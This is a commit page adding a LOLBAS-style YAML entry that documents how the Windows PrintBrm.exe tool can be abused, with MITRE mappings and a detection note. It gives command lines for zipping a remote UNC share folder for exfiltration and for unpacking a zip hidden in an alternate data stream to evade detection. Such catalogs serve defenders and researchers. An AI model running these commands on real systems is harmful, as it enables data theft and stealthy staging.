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Create PrintBrm.yml

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New lolbin for zipping & unzipping to and from UNC paths and ADS. The zip file could also serve as a useful form of obfuscation for evading detection.
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Elliot Killick 2021-06-22 02:11:27 +00:00 committed by GitHub
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commit 8f705bb7a4
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---
Name: PrintBrm.exe
Description: Printer Migration Command-Line Tool
Author: Elliot Killick
Created: 21 Jun 2021
Commands:
- Command: PrintBrm.exe -b -d \\1.2.3.4\share\example_folder -f C:\Users\user\Desktop\new.zip
Description: Create a ZIP file from a folder in a remote drive
Usecase: Exfiltrate the contents of a remote folder on a UNC share into a zip file
Category: Download
Privileges: User
MitreID: T1105
MitreLink: https://attack.mitre.org/techniques/T1105/
OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10
- Command: PrintBrm.exe -r -f C:\Users\user\Desktop\data.txt:hidden.zip -d C:\Users\user\Desktop\new_folder
Description: Extract the contents of a ZIP file stored in an Alternate Data Stream (ADS) and store it in a folder
Usecase: Decompress and extract a ZIP file stored on an alternate data stream to a new folder
Category: ADS
Privileges: User
MitreID: T1096
MitreLink: https://attack.mitre.org/techniques/T1096/
OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Full_Path:
- Path: C:\Windows\System32\spool\tools\PrintBrm.exe
Detection:
- IOC: PrintBrm.exe should not be run on a normal workstation
Acknowledgement:
- Person: Elliot Killick
Handle: @elliotkillick
---